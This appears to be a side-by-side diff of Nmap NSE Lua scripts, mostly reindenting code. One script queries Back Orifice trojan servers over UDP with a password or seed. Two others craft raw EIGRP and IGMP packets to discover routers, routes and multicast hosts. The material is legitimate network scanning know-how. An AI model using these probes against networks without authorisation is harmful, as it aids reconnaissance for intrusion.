port.version.extrainfo = "no password" port.version.extrainfo = "no password"
else else
port.version.extrainfo = "initial encryption seed="..initial_seed port.version.extrainfo = "initial encryption seed="..initial_seed
end end
else else
port.version.extrainfo = "password="..password port.version.extrainfo = "password="..password
end end
end end
port.version.hostname = BOhostname port.version.hostname = BOhostname
if(port.version.ostype == nil) then port.version.ostype = "Windows" end if(port.version.ostype == nil) then port.version.ostype = "Windows" end
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
end end
action = function( host, port ) action = function( host, port )
--initial seed is set by backorifice-brute --initial seed is set by backorifice-brute
local initial_seed = stdnse.get_script_args( SCRIPT_NAME .. ".seed" ) local initial_seed = stdnse.get_script_args( SCRIPT_NAME .. ".seed" )
local password = stdnse.get_script_args(SCRIPT_NAME .. ".password") local password = stdnse.get_script_args(SCRIPT_NAME .. ".password")
local socket = nmap.new_socket("udp") local socket = nmap.new_socket("udp")
local try = nmap.new_try(function() socket:close() end) local try = nmap.new_try(function() socket:close() end)
socket:set_timeout(5000) socket:set_timeout(5000)
local output_all={} local output_all={}
for i=1,#cmds do for i=1,#cmds do
--send command --send command
local data = BOpack( cmds[i].p_code, cmds[i].arg1, cmds[i].arg2 ) local data = BOpack( cmds[i].p_code, cmds[i].arg1, cmds[i].arg2 )
data = BOcrypt(data, password, initial_seed) data = BOcrypt(data, password, initial_seed)
try(socket:sendto(host.ip, port.number, data)) try(socket:sendto(host.ip, port.number, data))
--receive info --receive info
local output, response, p_type, multi_flag local output, response, p_type, multi_flag
output = {} output = {}
output.name = cmds[i].cmd_name output.name = cmds[i].cmd_name
multi_flag = false multi_flag = false
while true do while true do
response = try(socket:receive()) response = try(socket:receive())
response = BOcrypt(response,password,initial_seed) response = BOcrypt(response,password,initial_seed)
response, p_type = BOunpack(response) -- p_type -> error, singular, partial, continued response, p_type = BOunpack(response) -- p_type -> error, singular, partial, continued
if p_type ~= TYPE.ERROR then if p_type ~= TYPE.ERROR then
local tmp_str = cmds[i].filter(response) local tmp_str = cmds[i].filter(response)
if tmp_str ~= nil then if tmp_str ~= nil then
if cmds[i].p_code==TYPE.PING then if cmds[i].p_code==TYPE.PING then
--invalid chars for hostname are allowed on old windows boxes --invalid chars for hostname are allowed on old windows boxes
local BOversion, BOhostname = string.match(tmp_str,"!PONG!(1%.20)!(.*)!") local BOversion, BOhostname = string.match(tmp_str,"!PONG!(1%.20)!(.*)!")
if BOversion==nil then if BOversion==nil then
--in case of bad PING reply return "" --in case of bad PING reply return ""
return return
else else
--fill up version information --fill up version information
insert_version_info(host,port,BOversion,BOhostname,initial_seed,password) insert_version_info(host,port,BOversion,BOhostname,initial_seed,password)
end end
end end
table.insert(output,tmp_str) table.insert(output,tmp_str)
end end
--singular --singular
if bit.band(p_type,TYPE.PARTIAL_PACKET)==0x00 if bit.band(p_type,TYPE.PARTIAL_PACKET)==0x00
and bit.band(p_type,TYPE.CONTINUED_PACKET)==0x00 then break end and bit.band(p_type,TYPE.CONTINUED_PACKET)==0x00 then break end
--first --first
if bit.band(p_type,TYPE.CONTINUED_PACKET)==0x00 then if bit.band(p_type,TYPE.CONTINUED_PACKET)==0x00 then
multi_flag = true multi_flag = true
end end
--last --last
if bit.band(p_type,TYPE.PARTIAL_PACKET)==0x00 then break end if bit.band(p_type,TYPE.PARTIAL_PACKET)==0x00 then break end
end end
end end
--gather all responses in table --gather all responses in table
table.insert(output_all,output) table.insert(output_all,output)
end end
socket:close() socket:close()
return stdnse.format_output(true,output_all) return stdnse.format_output(true,output_all)
end end

View File

@@ -76,15 +76,15 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery", "broadcast", "safe"} categories = {"discovery", "broadcast", "safe"}
prerule = function() prerule = function()
if nmap.address_family() ~= 'inet' then if nmap.address_family() ~= 'inet' then
stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME) stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME)
return false return false
end end
if not nmap.is_privileged() then if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME) stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false return false
end end
return true return true
end end
@@ -92,22 +92,22 @@ end
--@param interface Network interface to use. --@param interface Network interface to use.
--@param eigrp_raw Raw eigrp packet. --@param eigrp_raw Raw eigrp packet.
local eigrpSend = function(interface, eigrp_raw) local eigrpSend = function(interface, eigrp_raw)
local srcip = interface.address local srcip = interface.address
local dstip = "224.0.0.10" local dstip = "224.0.0.10"
local ip_raw = bin.pack("H", "45c00040ed780000015818bc0a00c8750a00c86b") .. eigrp_raw local ip_raw = bin.pack("H", "45c00040ed780000015818bc0a00c8750a00c86b") .. eigrp_raw
local eigrp_packet = packet.Packet:new(ip_raw, ip_raw:len()) local eigrp_packet = packet.Packet:new(ip_raw, ip_raw:len())
eigrp_packet:ip_set_bin_src(ipOps.ip_to_str(srcip)) eigrp_packet:ip_set_bin_src(ipOps.ip_to_str(srcip))
eigrp_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip)) eigrp_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip))
eigrp_packet:ip_set_len(#eigrp_packet.buf) eigrp_packet:ip_set_len(#eigrp_packet.buf)
eigrp_packet:ip_count_checksum() eigrp_packet:ip_count_checksum()
local sock = nmap.new_dnet() local sock = nmap.new_dnet()
sock:ethernet_open(interface.device) sock:ethernet_open(interface.device)
-- Ethernet IPv4 multicast, our ethernet address and packet type IP -- Ethernet IPv4 multicast, our ethernet address and packet type IP
local eth_hdr = bin.pack("HAH", "01 00 5e 00 00 0a", interface.mac, "08 00") local eth_hdr = bin.pack("HAH", "01 00 5e 00 00 0a", interface.mac, "08 00")
sock:ethernet_send(eth_hdr .. eigrp_packet.buf) sock:ethernet_send(eth_hdr .. eigrp_packet.buf)
sock:ethernet_close() sock:ethernet_close()
end end
@@ -116,48 +116,48 @@ end
--@param timeout Ammount of time to listen for. --@param timeout Ammount of time to listen for.
--@param responses Table to put valid responses into. --@param responses Table to put valid responses into.
local eigrpListener = function(interface, timeout, responses) local eigrpListener = function(interface, timeout, responses)
local condvar = nmap.condvar(responses) local condvar = nmap.condvar(responses)
local routers = {} local routers = {}
local status, l3data, response, p, eigrp_raw, _ local status, l3data, response, p, eigrp_raw, _
local start = nmap.clock_ms() local start = nmap.clock_ms()
-- Filter for EIGRP packets that are sent either to us or to multicast -- Filter for EIGRP packets that are sent either to us or to multicast
local filter = "ip proto 88 and (ip dst host " .. interface.address .. " or 224.0.0.10)" local filter = "ip proto 88 and (ip dst host " .. interface.address .. " or 224.0.0.10)"
local listener = nmap.new_socket() local listener = nmap.new_socket()
listener:set_timeout(500) listener:set_timeout(500)
listener:pcap_open(interface.device, 1024, true, filter) listener:pcap_open(interface.device, 1024, true, filter)
-- For each EIGRP packet captured until timeout -- For each EIGRP packet captured until timeout
while (nmap.clock_ms() - start) < timeout do while (nmap.clock_ms() - start) < timeout do
response = {} response = {}
response.tlvs = {} response.tlvs = {}
status, _, _, l3data = listener:pcap_receive() status, _, _, l3data = listener:pcap_receive()
if status then if status then
p = packet.Packet:new(l3data, #l3data) p = packet.Packet:new(l3data, #l3data)
eigrp_raw = string.sub(l3data, p.ip_hl*4 + 1) eigrp_raw = string.sub(l3data, p.ip_hl*4 + 1)
-- Check if it is an EIGRPv2 Update -- Check if it is an EIGRPv2 Update
if eigrp_raw:byte(1) == 0x02 and eigrp_raw:byte(2) == 0x01 then if eigrp_raw:byte(1) == 0x02 and eigrp_raw:byte(2) == 0x01 then
-- Skip if did get the info from this router before -- Skip if did get the info from this router before
if not routers[p.ip_src] then if not routers[p.ip_src] then
-- Parse header -- Parse header
response = eigrp.EIGRP.parse(eigrp_raw) response = eigrp.EIGRP.parse(eigrp_raw)
response.src = p.ip_src response.src = p.ip_src
response.interface = interface.shortname response.interface = interface.shortname
end end
if response then if response then
-- See, if it has routing information -- See, if it has routing information
for _,tlv in pairs(response.tlvs) do for _,tlv in pairs(response.tlvs) do
if eigrp.EIGRP.isRoutingTLV(tlv.type) then if eigrp.EIGRP.isRoutingTLV(tlv.type) then
routers[p.ip_src] = true routers[p.ip_src] = true
table.insert(responses, response) table.insert(responses, response)
break break
end end
end end
end end
end end
end
end end
condvar("signal") end
return condvar("signal")
return
end end
-- Listens for EIGRP announcements to grab a valid Autonomous System value. -- Listens for EIGRP announcements to grab a valid Autonomous System value.
@@ -165,176 +165,176 @@ end
--@param timeout Max amount of time to listen for. --@param timeout Max amount of time to listen for.
--@param astab Table to put result into. --@param astab Table to put result into.
local asListener = function(interface, timeout, astab) local asListener = function(interface, timeout, astab)
local condvar = nmap.condvar(astab) local condvar = nmap.condvar(astab)
local status, l3data, p, eigrp_raw, eigrp_hello, _ local status, l3data, p, eigrp_raw, eigrp_hello, _
local start = nmap.clock_ms() local start = nmap.clock_ms()
local filter = "ip proto 88 and ip dst host 224.0.0.10" local filter = "ip proto 88 and ip dst host 224.0.0.10"
local listener = nmap.new_socket() local listener = nmap.new_socket()
listener:set_timeout(500) listener:set_timeout(500)
listener:pcap_open(interface.device, 1024, true, filter) listener:pcap_open(interface.device, 1024, true, filter)
while (nmap.clock_ms() - start) < timeout do while (nmap.clock_ms() - start) < timeout do
-- Check if another listener already found an A.S value. -- Check if another listener already found an A.S value.
if #astab > 0 then break end if #astab > 0 then break end
status, _, _, l3data = listener:pcap_receive() status, _, _, l3data = listener:pcap_receive()
if status then if status then
p = packet.Packet:new(l3data, #l3data) p = packet.Packet:new(l3data, #l3data)
eigrp_raw = string.sub(l3data, p.ip_hl*4 + 1) eigrp_raw = string.sub(l3data, p.ip_hl*4 + 1)
-- Listen for EIGRPv2 Hello packets -- Listen for EIGRPv2 Hello packets
if eigrp_raw:byte(1) == 0x02 and eigrp_raw:byte(2) == 0x05 then if eigrp_raw:byte(1) == 0x02 and eigrp_raw:byte(2) == 0x05 then
eigrp_hello = eigrp.EIGRP.parse(eigrp_raw) eigrp_hello = eigrp.EIGRP.parse(eigrp_raw)
if eigrp_hello and eigrp_hello.as then if eigrp_hello and eigrp_hello.as then
table.insert(astab, eigrp_hello.as) table.insert(astab, eigrp_hello.as)
break break
end end
end end
end
end end
condvar("signal") end
condvar("signal")
end end
action = function() action = function()
-- Get script arguments -- Get script arguments
local as = stdnse.get_script_args(SCRIPT_NAME .. ".as") local as = stdnse.get_script_args(SCRIPT_NAME .. ".as")
local kparams = stdnse.get_script_args(SCRIPT_NAME .. ".kparams") or "101000" local kparams = stdnse.get_script_args(SCRIPT_NAME .. ".kparams") or "101000"
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
local interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface") local interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
local output, responses, interfaces, lthreads = {}, {}, {}, {} local output, responses, interfaces, lthreads = {}, {}, {}, {}
local result, response, route, eigrp_hello, k local result, response, route, eigrp_hello, k
local timeout = (timeout or 10) * 1000 local timeout = (timeout or 10) * 1000
-- K params should be of length 6 -- K params should be of length 6
-- Cisco routers ignore eigrp packets that don't have matching K parameters -- Cisco routers ignore eigrp packets that don't have matching K parameters
if #kparams < 6 or #kparams > 6 then if #kparams < 6 or #kparams > 6 then
return "\n ERROR: kparams should be of size 6." return "\n ERROR: kparams should be of size 6."
else else
k = {} k = {}
k[1] = string.sub(kparams, 1,1) k[1] = string.sub(kparams, 1,1)
k[2] = string.sub(kparams, 2,2) k[2] = string.sub(kparams, 2,2)
k[3] = string.sub(kparams, 3,3) k[3] = string.sub(kparams, 3,3)
k[4] = string.sub(kparams, 4,4) k[4] = string.sub(kparams, 4,4)
k[5] = string.sub(kparams, 5,5) k[5] = string.sub(kparams, 5,5)
k[6] = string.sub(kparams, 6) k[6] = string.sub(kparams, 6)
end
interface = interface or nmap.get_interface()
if interface then
-- If an interface was provided, get its information
interface = nmap.get_interface_info(interface)
if not interface then
return ("\n ERROR: Failed to retreive %s interface information."):format(interface)
end end
interfaces = {interface}
stdnse.print_debug("%s: Will use %s interface.", SCRIPT_NAME, interface.shortname)
else
local ifacelist = nmap.list_interfaces()
for _, iface in ipairs(ifacelist) do
-- Match all ethernet interfaces
if iface.address and iface.link=="ethernet" and
iface.address:match("%d+%.%d+%.%d+%.%d+") then
interface = interface or nmap.get_interface() stdnse.print_debug("%s: Will use %s interface.", SCRIPT_NAME, iface.shortname)
if interface then table.insert(interfaces, iface)
-- If an interface was provided, get its information end
interface = nmap.get_interface_info(interface)
if not interface then
return ("\n ERROR: Failed to retreive %s interface information."):format(interface)
end
interfaces = {interface}
stdnse.print_debug("%s: Will use %s interface.", SCRIPT_NAME, interface.shortname)
else
local ifacelist = nmap.list_interfaces()
for _, iface in ipairs(ifacelist) do
-- Match all ethernet interfaces
if iface.address and iface.link=="ethernet" and
iface.address:match("%d+%.%d+%.%d+%.%d+") then
stdnse.print_debug("%s: Will use %s interface.", SCRIPT_NAME, iface.shortname)
table.insert(interfaces, iface)
end
end
end end
end
-- If user didn't provide an Autonomous System value, we listen fro multicast -- If user didn't provide an Autonomous System value, we listen fro multicast
-- HELLO router announcements to get one. -- HELLO router announcements to get one.
if not as then if not as then
-- We use a table for condvar -- We use a table for condvar
local astab = {} local astab = {}
stdnse.print_debug("%s: No A.S value provided, will sniff for one.", SCRIPT_NAME) stdnse.print_debug("%s: No A.S value provided, will sniff for one.", SCRIPT_NAME)
-- We should iterate over interfaces -- We should iterate over interfaces
for _, interface in pairs(interfaces) do
local co = stdnse.new_thread(asListener, interface, timeout, astab)
lthreads[co] = true
end
local condvar = nmap.condvar(astab)
-- Wait for the listening threads to finish
repeat
for thread in pairs(lthreads) do
if coroutine.status(thread) == "dead" then lthreads[thread] = nil end
end
if ( next(lthreads) ) then
condvar("wait")
end
until next(lthreads) == nil;
if #astab > 0 then
stdnse.print_debug("Will use %s A.S value.", astab[1])
as = astab[1]
else
return "\n ERROR: Couldn't get an A.S value."
end
end
-- Craft Hello packet
eigrp_hello = eigrp.EIGRP:new(eigrp.OPCODE.HELLO, as)
-- K params
eigrp_hello:addTLV({ type = eigrp.TLV.PARAM, k = k, htime = 15})
-- Software version
eigrp_hello:addTLV({ type = eigrp.TLV.SWVER, majv = 12, minv = 4, majtlv = 1, mintlv = 2})
-- On each interface, launch the listening thread and send the Hello packet.
lthreads = {}
for _, interface in pairs(interfaces) do for _, interface in pairs(interfaces) do
local co = stdnse.new_thread(eigrpListener, interface, timeout, responses) local co = stdnse.new_thread(asListener, interface, timeout, astab)
-- We insert a small delay before sending the Hello so the listening lthreads[co] = true
-- thread doesn't miss updates.
stdnse.sleep(0.5)
lthreads[co] = true
eigrpSend(interface, tostring(eigrp_hello))
end end
local condvar = nmap.condvar(astab)
local condvar = nmap.condvar(responses)
-- Wait for the listening threads to finish -- Wait for the listening threads to finish
repeat repeat
condvar("wait") for thread in pairs(lthreads) do
for thread in pairs(lthreads) do if coroutine.status(thread) == "dead" then lthreads[thread] = nil end
if coroutine.status(thread) == "dead" then lthreads[thread] = nil end end
end if ( next(lthreads) ) then
condvar("wait")
end
until next(lthreads) == nil; until next(lthreads) == nil;
-- Output the useful info from the responses if #astab > 0 then
if #responses > 0 then stdnse.print_debug("Will use %s A.S value.", astab[1])
for _, response in pairs(responses) do as = astab[1]
result = {} else
result.name = response.src return "\n ERROR: Couldn't get an A.S value."
if target.ALLOW_NEW_TARGETS then target.add(response.src) end
table.insert(result, "Interface: " .. response.interface)
table.insert(result, ("A.S: %d"):format(response.as))
table.insert(result, ("Virtual Router ID: %d"):format(response.routerid))
-- Output routes information TLVs
for _, tlv in pairs(response.tlvs) do
route = {}
-- We are only interested in Internal or external routes
if tlv.type == eigrp.TLV.EXT then
route.name = "External route"
for name, value in pairs(eigrp.EXT_PROTO) do
if value == tlv.eproto then
table.insert(route, ("Protocol: %s"):format(name))
break
end
end
table.insert(route, ("Originating A.S: %s"):format(tlv.oas))
table.insert(route, ("Originating Router ID: %s"):format(tlv.orouterid))
if target.ALLOW_NEW_TARGETS then target.add(tlv.orouterid) end
table.insert(route, ("Destination: %s/%d"):format(tlv.dst, tlv.mask))
table.insert(route, ("Next hop: %s"):format(tlv.nexth))
table.insert(result, route)
elseif tlv.type == eigrp.TLV.INT then
route.name = "Internal route"
table.insert(route, ("Destination: %s/%d"):format(tlv.dst, tlv.mask))
table.insert(route, ("Next hop: %s"):format(tlv.nexth))
table.insert(result, route)
end
end
table.insert(output, result)
end
if #output>0 and not target.ALLOW_NEW_TARGETS then
table.insert(output,"Use the newtargets script-arg to add the results as targets")
end
return stdnse.format_output(true, output)
end end
end
-- Craft Hello packet
eigrp_hello = eigrp.EIGRP:new(eigrp.OPCODE.HELLO, as)
-- K params
eigrp_hello:addTLV({ type = eigrp.TLV.PARAM, k = k, htime = 15})
-- Software version
eigrp_hello:addTLV({ type = eigrp.TLV.SWVER, majv = 12, minv = 4, majtlv = 1, mintlv = 2})
-- On each interface, launch the listening thread and send the Hello packet.
lthreads = {}
for _, interface in pairs(interfaces) do
local co = stdnse.new_thread(eigrpListener, interface, timeout, responses)
-- We insert a small delay before sending the Hello so the listening
-- thread doesn't miss updates.
stdnse.sleep(0.5)
lthreads[co] = true
eigrpSend(interface, tostring(eigrp_hello))
end
local condvar = nmap.condvar(responses)
-- Wait for the listening threads to finish
repeat
condvar("wait")
for thread in pairs(lthreads) do
if coroutine.status(thread) == "dead" then lthreads[thread] = nil end
end
until next(lthreads) == nil;
-- Output the useful info from the responses
if #responses > 0 then
for _, response in pairs(responses) do
result = {}
result.name = response.src
if target.ALLOW_NEW_TARGETS then target.add(response.src) end
table.insert(result, "Interface: " .. response.interface)
table.insert(result, ("A.S: %d"):format(response.as))
table.insert(result, ("Virtual Router ID: %d"):format(response.routerid))
-- Output routes information TLVs
for _, tlv in pairs(response.tlvs) do
route = {}
-- We are only interested in Internal or external routes
if tlv.type == eigrp.TLV.EXT then
route.name = "External route"
for name, value in pairs(eigrp.EXT_PROTO) do
if value == tlv.eproto then
table.insert(route, ("Protocol: %s"):format(name))
break
end
end
table.insert(route, ("Originating A.S: %s"):format(tlv.oas))
table.insert(route, ("Originating Router ID: %s"):format(tlv.orouterid))
if target.ALLOW_NEW_TARGETS then target.add(tlv.orouterid) end
table.insert(route, ("Destination: %s/%d"):format(tlv.dst, tlv.mask))
table.insert(route, ("Next hop: %s"):format(tlv.nexth))
table.insert(result, route)
elseif tlv.type == eigrp.TLV.INT then
route.name = "Internal route"
table.insert(route, ("Destination: %s/%d"):format(tlv.dst, tlv.mask))
table.insert(route, ("Next hop: %s"):format(tlv.nexth))
table.insert(result, route)
end
end
table.insert(output, result)
end
if #output>0 and not target.ALLOW_NEW_TARGETS then
table.insert(output,"Use the newtargets script-arg to add the results as targets")
end
return stdnse.format_output(true, output)
end
end end

View File

@@ -88,15 +88,15 @@ interfaces.
prerule = function() prerule = function()
if nmap.address_family() ~= 'inet' then if nmap.address_family() ~= 'inet' then
stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME) stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME)
return false return false
end end
if ( not(nmap.is_privileged()) ) then if ( not(nmap.is_privileged()) ) then
stdnse.print_verbose("%s not running due to lack of privileges.", SCRIPT_NAME) stdnse.print_verbose("%s not running due to lack of privileges.", SCRIPT_NAME)
return false return false
end end
return true return true
end end
author = "Hani Benhabiles" author = "Hani Benhabiles"
@@ -109,54 +109,54 @@ categories = {"discovery", "safe", "broadcast"}
-- @param data string IGMP Raw packet. -- @param data string IGMP Raw packet.
-- @return response table Structured igmp packet. -- @return response table Structured igmp packet.
local igmpParse = function(data) local igmpParse = function(data)
local index local index
local response = {} local response = {}
local group, source local group, source
-- Report type (0x12 == v1, 0x16 == v2, 0x22 == v3) -- Report type (0x12 == v1, 0x16 == v2, 0x22 == v3)
index, response.type = bin.unpack(">C", data, index) index, response.type = bin.unpack(">C", data, index)
if response.type == 0x12 or response.type == 0x16 then if response.type == 0x12 or response.type == 0x16 then
-- Max response time -- Max response time
index, response.maxrt = bin.unpack(">C", data, index) index, response.maxrt = bin.unpack(">C", data, index)
-- Checksum -- Checksum
index, response.checksum = bin.unpack(">S", data, index) index, response.checksum = bin.unpack(">S", data, index)
-- Multicast group -- Multicast group
index, response.group = bin.unpack("<I", data, index) index, response.group = bin.unpack("<I", data, index)
response.group = ipOps.fromdword(response.group) response.group = ipOps.fromdword(response.group)
return response return response
elseif response.type == 0x22 and #data >= 12 then elseif response.type == 0x22 and #data >= 12 then
-- Skip reserved byte -- Skip reserved byte
index = index + 1 index = index + 1
-- Checksum -- Checksum
index, response.checksum = bin.unpack(">S", data, index) index, response.checksum = bin.unpack(">S", data, index)
-- Skip reserved byte -- Skip reserved byte
index = index + 2 index = index + 2
-- Number of groups -- Number of groups
index, response.ngroups = bin.unpack(">S", data, index) index, response.ngroups = bin.unpack(">S", data, index)
response.groups = {} response.groups = {}
for i=1,response.ngroups do for i=1,response.ngroups do
group = {} group = {}
-- Mode is either INCLUDE or EXCLUDE -- Mode is either INCLUDE or EXCLUDE
index, group.mode = bin.unpack(">C", data, index) index, group.mode = bin.unpack(">C", data, index)
-- Auxiliary data length in the group record (in 32bits units) -- Auxiliary data length in the group record (in 32bits units)
index, group.auxdlen = bin.unpack(">C", data, index) index, group.auxdlen = bin.unpack(">C", data, index)
-- Number of source addresses -- Number of source addresses
index, group.nsrc = bin.unpack(">S", data, index) index, group.nsrc = bin.unpack(">S", data, index)
index, group.address = bin.unpack("<I", data, index) index, group.address = bin.unpack("<I", data, index)
group.address = ipOps.fromdword(group.address) group.address = ipOps.fromdword(group.address)
group.src = {} group.src = {}
if group.nsrc > 0 then if group.nsrc > 0 then
for i=1,group.nsrc do for i=1,group.nsrc do
index, source = bin.unpack("<I", data, index) index, source = bin.unpack("<I", data, index)
table.insert(group.src, ipOps.fromdword(source)) table.insert(group.src, ipOps.fromdword(source))
end end
end end
-- Skip auxiliary data -- Skip auxiliary data
index = index + group.auxdlen index = index + group.auxdlen
-- Insert group -- Insert group
table.insert(response.groups, group) table.insert(response.groups, group)
end
return response
end end
return response
end
end end
--- Listens for IGMP Membership reports packets. --- Listens for IGMP Membership reports packets.
@@ -164,42 +164,42 @@ end
-- @param timeout Amount of time to listen for. -- @param timeout Amount of time to listen for.
-- @param responses table to put valid responses into. -- @param responses table to put valid responses into.
local igmpListener = function(interface, timeout, responses) local igmpListener = function(interface, timeout, responses)
local condvar = nmap.condvar(responses) local condvar = nmap.condvar(responses)
local start = nmap.clock_ms() local start = nmap.clock_ms()
local listener = nmap.new_socket() local listener = nmap.new_socket()
local p, igmp_raw, status, l3data, response, _ local p, igmp_raw, status, l3data, response, _
local devices = {} local devices = {}
listener:set_timeout(100) listener:set_timeout(100)
listener:pcap_open(interface.device, 1024, true, 'ip proto 2') listener:pcap_open(interface.device, 1024, true, 'ip proto 2')
while (nmap.clock_ms() - start) < timeout do while (nmap.clock_ms() - start) < timeout do
status, _, _, l3data = listener:pcap_receive() status, _, _, l3data = listener:pcap_receive()
if status then if status then
p = packet.Packet:new(l3data, #l3data) p = packet.Packet:new(l3data, #l3data)
igmp_raw = string.sub(l3data, p.ip_hl*4 + 1) igmp_raw = string.sub(l3data, p.ip_hl*4 + 1)
if p then if p then
-- check the first byte before sending to the parser -- check the first byte before sending to the parser
-- response 0x12 == Membership Response version 1 -- response 0x12 == Membership Response version 1
-- response 0x16 == Membership Response version 2 -- response 0x16 == Membership Response version 2
-- response 0x22 == Membership Response version 3 -- response 0x22 == Membership Response version 3
local igmptype = igmp_raw:byte(1) local igmptype = igmp_raw:byte(1)
if igmptype == 0x12 or igmptype == 0x16 or igmptype == 0x22 then if igmptype == 0x12 or igmptype == 0x16 or igmptype == 0x22 then
response = igmpParse(igmp_raw) response = igmpParse(igmp_raw)
if response then if response then
response.src = p.ip_src response.src = p.ip_src
response.interface = interface.shortname response.interface = interface.shortname
-- Many hosts return more than one same response message -- Many hosts return more than one same response message
-- this is to not output duplicates -- this is to not output duplicates
if not devices[response.src..response.type..(response.group or response.ngroups)] then if not devices[response.src..response.type..(response.group or response.ngroups)] then
devices[response.src..response.type..(response.group or response.ngroups)] = true devices[response.src..response.type..(response.group or response.ngroups)] = true
table.insert(responses, response) table.insert(responses, response)
end end
end end
end end
end end
end
end end
condvar("signal") end
condvar("signal")
end end
--- Crafts a raw IGMP packet. --- Crafts a raw IGMP packet.
@@ -207,40 +207,40 @@ end
-- @param vesion IGMP version. Could be 1, 2 or 3. -- @param vesion IGMP version. Could be 1, 2 or 3.
-- @return string Raw IGMP packet. -- @return string Raw IGMP packet.
local igmpRaw = function(interface, version) local igmpRaw = function(interface, version)
-- Only 1, 2 and 3 are valid IGMP versions -- Only 1, 2 and 3 are valid IGMP versions
if version ~= 1 and version ~= 2 and version ~= 3 then if version ~= 1 and version ~= 2 and version ~= 3 then
stdnse.print_debug("IGMP version %s doesn't exist.", version) stdnse.print_debug("IGMP version %s doesn't exist.", version)
return return
end end
-- Let's craft an IGMP Membership Query -- Let's craft an IGMP Membership Query
local igmp_raw = bin.pack(">C", 0x11) -- Membership Query, same for all versions local igmp_raw = bin.pack(">C", 0x11) -- Membership Query, same for all versions
if version == 1 then if version == 1 then
igmp_raw = igmp_raw .. bin.pack(">C", 0x00) -- Unused, 0x00 for version 1 only igmp_raw = igmp_raw .. bin.pack(">C", 0x00) -- Unused, 0x00 for version 1 only
else else
igmp_raw = igmp_raw .. bin.pack(">C", 0x16) -- Max response time: 10 Seconds, for version 2 and 3 igmp_raw = igmp_raw .. bin.pack(">C", 0x16) -- Max response time: 10 Seconds, for version 2 and 3
end end
igmp_raw = igmp_raw .. bin.pack(">S", 0x00) -- Checksum, calculated later igmp_raw = igmp_raw .. bin.pack(">S", 0x00) -- Checksum, calculated later
igmp_raw = igmp_raw .. bin.pack(">I", 0x00) -- Multicast Address: 0.0.0.0 igmp_raw = igmp_raw .. bin.pack(">I", 0x00) -- Multicast Address: 0.0.0.0
if version == 3 then if version == 3 then
-- Reserved = 4 bits (Should be zeroed) -- Reserved = 4 bits (Should be zeroed)
-- Supress Flag = 1 bit -- Supress Flag = 1 bit
-- QRV (Querier's Robustness Variable) = 3 bits -- QRV (Querier's Robustness Variable) = 3 bits
-- all are set to 0 -- all are set to 0
igmp_raw = igmp_raw .. bin.pack(">C", 0x00) igmp_raw = igmp_raw .. bin.pack(">C", 0x00)
-- QQIC (Querier's Query Interval Code) in seconds = Set to 0 to get insta replies. -- QQIC (Querier's Query Interval Code) in seconds = Set to 0 to get insta replies.
igmp_raw = igmp_raw .. bin.pack(">C", 0x10) igmp_raw = igmp_raw .. bin.pack(">C", 0x10)
-- Number of sources (in the next arrays) = 1 ( Our IP only) -- Number of sources (in the next arrays) = 1 ( Our IP only)
igmp_raw = igmp_raw .. bin.pack(">S", 0x01) igmp_raw = igmp_raw .. bin.pack(">S", 0x01)
-- Source = Our IP address -- Source = Our IP address
igmp_raw = igmp_raw .. bin.pack(">I", ipOps.todword(interface.address)) igmp_raw = igmp_raw .. bin.pack(">I", ipOps.todword(interface.address))
end end
igmp_raw = igmp_raw:sub(1,2) .. bin.pack(">S", packet.in_cksum(igmp_raw)) .. igmp_raw:sub(5) igmp_raw = igmp_raw:sub(1,2) .. bin.pack(">S", packet.in_cksum(igmp_raw)) .. igmp_raw:sub(5)
return igmp_raw return igmp_raw
end end
@@ -249,181 +249,181 @@ local igmpQuery;
-- @param interface Network interface to send on. -- @param interface Network interface to send on.
-- @param vesion IGMP version. Could be 1, 2, 3 or all. -- @param vesion IGMP version. Could be 1, 2, 3 or all.
igmpQuery = function(interface, version) igmpQuery = function(interface, version)
local srcip = interface.address local srcip = interface.address
local dstip = "224.0.0.1" local dstip = "224.0.0.1"
if version == 'all' then if version == 'all' then
-- Small pause to let listener begin and not miss reports. -- Small pause to let listener begin and not miss reports.
stdnse.sleep(0.5) stdnse.sleep(0.5)
igmpQuery(interface, 3) igmpQuery(interface, 3)
igmpQuery(interface, 2) igmpQuery(interface, 2)
igmpQuery(interface, 1) igmpQuery(interface, 1)
else else
local igmp_raw = igmpRaw(interface, version) local igmp_raw = igmpRaw(interface, version)
local ip_raw = bin.pack("H", "45c00040ed780000010218bc0a00c8750a00c86b") .. igmp_raw local ip_raw = bin.pack("H", "45c00040ed780000010218bc0a00c8750a00c86b") .. igmp_raw
local igmp_packet = packet.Packet:new(ip_raw, ip_raw:len()) local igmp_packet = packet.Packet:new(ip_raw, ip_raw:len())
igmp_packet:ip_set_bin_src(ipOps.ip_to_str(srcip)) igmp_packet:ip_set_bin_src(ipOps.ip_to_str(srcip))
igmp_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip)) igmp_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip))
igmp_packet:ip_set_len(#igmp_packet.buf) igmp_packet:ip_set_len(#igmp_packet.buf)
igmp_packet:ip_count_checksum() igmp_packet:ip_count_checksum()
local sock = nmap.new_dnet() local sock = nmap.new_dnet()
sock:ethernet_open(interface.device) sock:ethernet_open(interface.device)
-- Ethernet IPv4 multicast, our ethernet address and type IP -- Ethernet IPv4 multicast, our ethernet address and type IP
local eth_hdr = bin.pack("HAH", "01 00 5e 00 00 01", interface.mac, "08 00") local eth_hdr = bin.pack("HAH", "01 00 5e 00 00 01", interface.mac, "08 00")
sock:ethernet_send(eth_hdr .. igmp_packet.buf) sock:ethernet_send(eth_hdr .. igmp_packet.buf)
sock:ethernet_close() sock:ethernet_close()
end end
end end
